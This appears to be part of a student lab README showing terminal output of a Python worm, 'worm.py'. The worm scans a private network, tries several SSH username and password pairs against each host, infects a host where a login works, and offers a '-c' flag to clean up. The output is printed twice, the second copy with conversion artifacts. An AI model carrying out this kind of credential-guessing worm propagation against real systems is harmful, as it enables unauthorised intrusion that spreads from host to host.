

## Screenshots of worm.py running

```
kali@kali: ~/Desktop
File Actions Edit View Help
kali@kali:~/Desktop$ python3 worm.py
Found 2 hosts
['10.0.0.1', '10.0.0.4']

my IP address is ==> 10.0.0.3

===== ATTACKING HOST (10.0.0.1) =====
Trying to attack host (10.0.0.1), with this credential [hello : world]
Probably wrong credential!

Trying to attack host (10.0.0.1), with this credential [hello1 : world]
Probably wrong credential!

Trying to attack host (10.0.0.1), with this credential [root : #Gig#]
Probably wrong credential!

Trying to attack host (10.0.0.1), with this credential [cpsec : cpsec]
Probably wrong credential!

None
===== ATTACKING HOST (10.0.0.4) =====
Trying to attack host (10.0.0.4), with this credential [hello : world]
Probably wrong credential!

Trying to attack host (10.0.0.4), with this credential [hello1 : world]
Probably wrong credential!

Trying to attack host (10.0.0.4), with this credential [root : #Gig#]
Probably wrong credential!

Trying to attack host (10.0.0.4), with this credential [cpsec : cpsec]
This credential worked! -> [cpsec : cpsec]
[<paramiko.client.SSHClient object at 0x7f6089c6ebe0>, 'cpsec', 'cpsec']
Now trying to spread ...
Checking if the system already infected ...
The system is not infected !!!
this system will get infected now ^_^
Spreading Complete!
kali@kali:~/Desktop$
```

File Actions Edit View Help

kali@kali:~/Desktop\$ python3 worm.py

Found 2 hosts

['10.0.0.1', '10.0.0.4']

my IP address is  $\Rightarrow$  10.0.0.3

=====  $\rightarrow$  ATTACKING HOST (10.0.0.1)  $\leftarrow$  =====

Trying to attack host (10.0.0.1), with this credential [hello : world]

Probably wrong credential!

Trying to attack host (10.0.0.1), with this credential [hello1 : world]

Probably wrong credential!

Trying to attack host (10.0.0.1), with this credential [root : #Gig#]

Probably wrong credential!

Trying to attack host (10.0.0.1), with this credential [cpsec : cpsec]

Probably wrong credential!

None

=====  $\rightarrow$  ATTACKING HOST (10.0.0.4)  $\leftarrow$  =====

Trying to attack host (10.0.0.4), with this credential [hello : world]

Probably wrong credential!

Trying to attack host (10.0.0.4), with this credential [hello1 : world]

Probably wrong credential!

Trying to attack host (10.0.0.4), with this credential [root : #Gig#]

Probably wrong credential!

Trying to attack host (10.0.0.4), with this credential [cpsec : cpsec]

This credential worked!  $\rightarrow$  [cpsec : cpsec]

[<paramiko.client.SSHClient object at 0x7f5d451c5bb0>, 'cpsec', 'cpsec']

Now trying to spread ...

Checking if the system already infected ...

The system is already infected.

no need to spread the worm.

kali@kali:~/Desktop\$

## If the user provide an argument to to clean the host

```
kali@kali: ~/Desktop
File Actions Edit View Help
kali@kali:~/Desktop$ python3 worm.py -c
Found 2 hosts
['10.0.0.1', '10.0.0.4']

my IP address is ==> 10.0.0.3

===== ATTACKING HOST (10.0.0.1) =====
Trying to attack host (10.0.0.1), with this credential [hello : world]
Probably wrong credential!

Trying to attack host (10.0.0.1), with this credential [hello1 : world]
Probably wrong credential!

Trying to attack host (10.0.0.1), with this credential [root : #Gig#]
Probably wrong credential!

Trying to attack host (10.0.0.1), with this credential [cpsec : cpsec]
Probably wrong credential!

None
===== ATTACKING HOST (10.0.0.4) =====
Trying to attack host (10.0.0.4), with this credential [hello : world]
Probably wrong credential!

Trying to attack host (10.0.0.4), with this credential [hello1 : world]
Probably wrong credential!

Trying to attack host (10.0.0.4), with this credential [root : #Gig#]
Probably wrong credential!

Trying to attack host (10.0.0.4), with this credential [cpsec : cpsec]
This credential worked! -> [cpsec : cpsec]
[<paramiko.client.SSHClient object at 0x7f0aacd37730>, 'cpsec', 'cpsec']
Now trying to spread ...
Checking if the system already infected ...
The system is not infected !!!
this system will get infected now ^_^
Spreading Complete!
***** CLEANING THE HOST (10.0.0.4) *****
kali@kali:~/Desktop$
```